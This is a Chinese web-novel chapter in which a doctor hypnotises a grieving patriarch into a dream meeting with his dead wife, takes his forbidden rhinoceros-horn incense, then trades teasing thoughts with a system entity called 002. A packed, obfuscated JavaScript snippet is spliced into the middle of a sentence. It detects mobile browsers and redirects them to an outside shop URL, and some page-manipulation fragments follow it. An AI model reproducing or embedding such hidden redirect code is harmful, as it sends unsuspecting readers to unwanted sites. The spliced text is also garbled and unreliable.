佐藤家的邀请函在三天后送到。
这一次不同于上次的出诊邀请，是一封极其正式的书信，由老管家亲自送到诊所。
信中提到佐藤家主已经康复，想当面向雪下医生致谢。
来接他的依旧是佐藤弘人。
他站在车门旁，看到莲从楼里走出来时，那双桀骜的眼睛便再也移不开了。他张了张嘴想说什么，但所有的话到了嘴边，只变成了一句笨拙的问候。
“莲，今天冷，多穿点。”
莲弯起眼睛轻轻点了点头，坐进后排。
弘人从后视镜里看着他，那目光与之前相比多了一层更深的依赖与眷恋，像被从悬崖边拉回来的人仰望着救他的那只手，从此再也不敢移开视线。
来到佐藤宅邸，和室的门轻轻合上，隔绝了庭院里的风声。
两人之间的茶香氤氲，窗外竹影婆娑。
佐藤家主跪坐在矮桌一侧，深色和服一丝不苟，面容依旧冷肃，但比起之前更多了几分病后初愈的清减与灰败。
他在莲面前恭敬地低下头，声音低沉而郑重。“雪下医生，救命之恩，佐藤家没齿难忘。”
“举手之劳。”莲垂下眼睛。
佐藤健次抬起头，看着面前这个漂亮的年轻人。他忽然想起自己倒下的那个瞬间，在所有人惊慌失措的混乱中只有那双眼睛平静地注视着他。
像神明俯视众生，不悲不喜，却洞悉一切。
他沉默了片刻，从身旁的木匣中取出一个精致的铜制香炉，轻轻放在矮桌上。
香炉表面錾刻着繁复的云纹，边缘被摩挲得光滑发亮，显然被使用了很久。
他揭开炉盖，里面残存着几小块焦黑的残渣，隐隐散出一种幽微而奇异的香气。
莲的目光落在那些残渣上，抬眼问道：“有用吗？”
佐藤健次摇了摇头。
他冷肃的面容上浮起一丝滞涩的苦笑，声音沙哑而无奈。“她已经很多年不愿意来我的梦里了。”
鹤发翁，红颜妪。
他年轻时不信鬼神，妻子过世之后却把什么都信了一遍。寺庙、神社、灵媒、降灵术，最后是生犀香。
古人云：生犀不敢烧，燃之有异香，沾衣带，人能与鬼通。
他花了无数心力找到这违禁的犀角，每夜在卧室里焚香，将自己浸透在那缕缥缈的香气中，只为了在梦中再见妻子一面。
可她不愿意来。
这么多年，一次都没有来过。
“她大概在怪我。”佐藤健次看着香炉，声音轻得像自语，“怪我没有照顾好孩子们，怪我把太多时间都花在一间空荡荡的房间里。”
莲垂眸良久，然后他抬起眼睛。“我可以实现你的心愿。”
佐藤健次的目光凝住了。
“但作为交换，这炉中的生犀香归我。它对人有害，你不应该再碰它。”莲的声音平缓和冷漠。
佐藤健次沉默了片刻，然后将香炉轻轻推到莲面前。
“好。我答应你。”
他抬起头正对上莲的眼眸。
那双眼睛幽深得近乎不真实，仿佛有漩涡在那暗色的瞳孔中缓缓旋转，周边的一切都变得朦胧而虚幻。
那不是一双普通人的眼睛。
他恍惚间觉得自己的身体变得很轻很轻，像是被什么东西温柔地托了起来，有一个声音在很远的地方说着什么，但他听不真切。
然后他坠入了黑暗。
再睁开眼时，他站在一片朦胧的世界之中。
风很轻，带着熟悉的气息，是他幼时和寻子初遇时那片银杏林的味道。
眼前的景象明明看不分明，像隔着一层薄薄的水雾，但他不觉得焦急。他已经很久很久没有感受到这种平静了。
“健次。”
他僵住了。
那个声音他听了大半辈子，在每一个辗转难眠的夜里回响在他耳边，却从来没有像此刻这样清晰，近在咫尺。
她站在银杏树下，穿着素雅的米色和服，长发绾成髻，还是年轻时的模样。温和而秀美，和他记忆里分毫不差。
她微微歪着头看着他，眼睛里带着他熟悉的温柔笑意。
“你找到我啦。”
佐藤健次站在原地，像是被钉在了那里。
这个在商场上叱咤风云从不示弱的男人，这个在家族危机前从不退缩的男人，此刻肩膀开始微微发抖，双腿再也支撑不住身体的重量，缓缓跪倒在落叶铺就的地面上。
寻子。寻子。我的寻子。
“寻子。”他唤了一声，声音嘶哑而艰涩。
“嗯。”她轻轻应了一声，走过来在他面前蹲下。
“你看你，头发都白了。还是那么不会照顾自己。”寻子伸出手，轻轻拂过他鬓角的白发，指尖凉凉的。
“寻子…对不起…我没有照顾好孩子们…对不起，对不起，这么多年，我每天都想见你——”他的声音艰涩起来，肩膀剧烈地颤抖。
他年轻时没有照顾好妻子，妻子离去后，又忽视了孩子们的成长，一生都在犯错。
他是个罪人。
“我知道。健次，我都知道。”她温和地望着他，目光里没有责备。
“不是你的错，你该好好生活，对自己好一点，对孩子们好一点。孩子们不敢亲近你，你这个当父亲的却不敢亲近他们。”
“我知道。我不是一个好父亲。”
“你是。你只是太难过了。”
“我想你。我每天每夜都在想你。”
“我知道。”她弯起眼睛，轻轻靠进他怀里。“我也想你和孩子们，还有爱丽丝，每天都在想。但是健次，你不能用那种香了，那对你不好。”
“你要好好活着。吃饭，睡觉，散步，晒太阳。等孩子们长大，你会看到他们成家立业。”
“等有一天你的头发全白了，走不动路了，再来找我。我们就在这棵银杏树下，我等你。”
“你会等我吗？”他声音嘶哑地问。
“当然。你来找我，我就在这里等你。不急，还有很多很多年。”
他伸出手想抓住她的手指，却发现自己已经不太能感受到指尖的触感了。
梦境正在褪色，她的面容在水雾中渐渐模糊。
“记住我的话。”她的声音越来越轻，“好好活着。”
他没有哭出声。
那些积压了半生的眼泪正顺着脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629653|206320||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
颊无声地滑落，滴在交叠的手背上。
他低头看着自己苍老的手，又抬头看着渐渐隐去的她的脸，用尽最后的力气记住她此刻的笑容。
“谢谢你还肯来看我这个老头子。谢谢你还肯来见我。”
“因为你是健次啊。我的健次。”
她在光中弯起眼睛，像几十年前初见时那样温柔地笑了。
佐藤健次睁开眼睛。
他不知道自己昏睡了多久，梦很长，长到他觉得这一生所有的亏欠都在这一刻被原谅了。
茶室里安静如初，莲依然端坐在他对面，姿态从容。
他深吸了一口气，仰头看着天花板，然后朗声大笑起来。笑声在安静的茶室里回荡，惊起了庭院外几只栖息的鸟雀。
“雪下医生。”他微微欠身，声音里带着从未有过的释然与感激。
“您说得对，那香确实不是什么好东西。从今往后，无论您遇到任何事，只需一句话，佐藤家必当全力相助。”
他将那份生犀香连同香炉一起放在莲面前，动作郑重而虔诚。
佐藤弘人站在门廊下，看到莲从茶室里走出来，立刻迎了上去。他什么都没问，只是安静地跟在莲身侧，陪他穿过长廊，替他拉开车门。
“莲，我——”
“下次再来看你。”莲弯起眼睛。
佐藤弘人那张桀骜的脸瞬间泛了红，用力点了点头，站在门口目送着车子远去。
回程的车上，莲靠在座椅上闭目养神。他把玩着手里那个小小的铜制香炉，指尖漫不经心地抚过炉身上的纹路。
脑海里002的声音从刚才起就没有停过。
【监察者，你到底是怎么做到的？人能与鬼通，这是这个世界的规则限制之外的能力，在系统数据库里没有任何记录。】
【催眠而已。】他在心里轻飘飘地回答。
【催眠不可能让一个活人进入那种状态的意识。】
【002。】莲在心里轻轻笑了一声，【你真可爱。】
【……】
002的运算在这一瞬间出现了极其短暂的停顿。它不知道监察者是在讽刺还是真的觉得它可爱，但它倾向于前者。
然而即便知道是前者，它还是在那个词上多停留了零点几秒，像一个明知道是陷阱却还是踩进去的笨蛋。
002想说这根本不是简单的催眠，制造一个能让人类沉浸其中、触感体温都真实到无从分辨的梦境幻象，已经逼近了神明的领域。
【监察者。】002的声音再次在脑海中响起，带着一种不依不饶的执拗。
【您到底是怎么做到的？在已知的系统档案中，您不具备这种能力。如果这是您从其他世界获取的能力，我需要更新数据库。如果这是您自己拥有的能力——】
莲在心里轻轻打断它，嘴角翘起一个漂亮的弧度。
【002，你今天问题好多。你是不是也想做梦？想见谁？】
002沉默了。
过了许久，它终于开口。
【我只是想更了解您。】
莲没有回答，甚至轻轻笑了一声，那笑声轻得几乎听不见，眼尾微微上挑，艳丽得近乎妖异。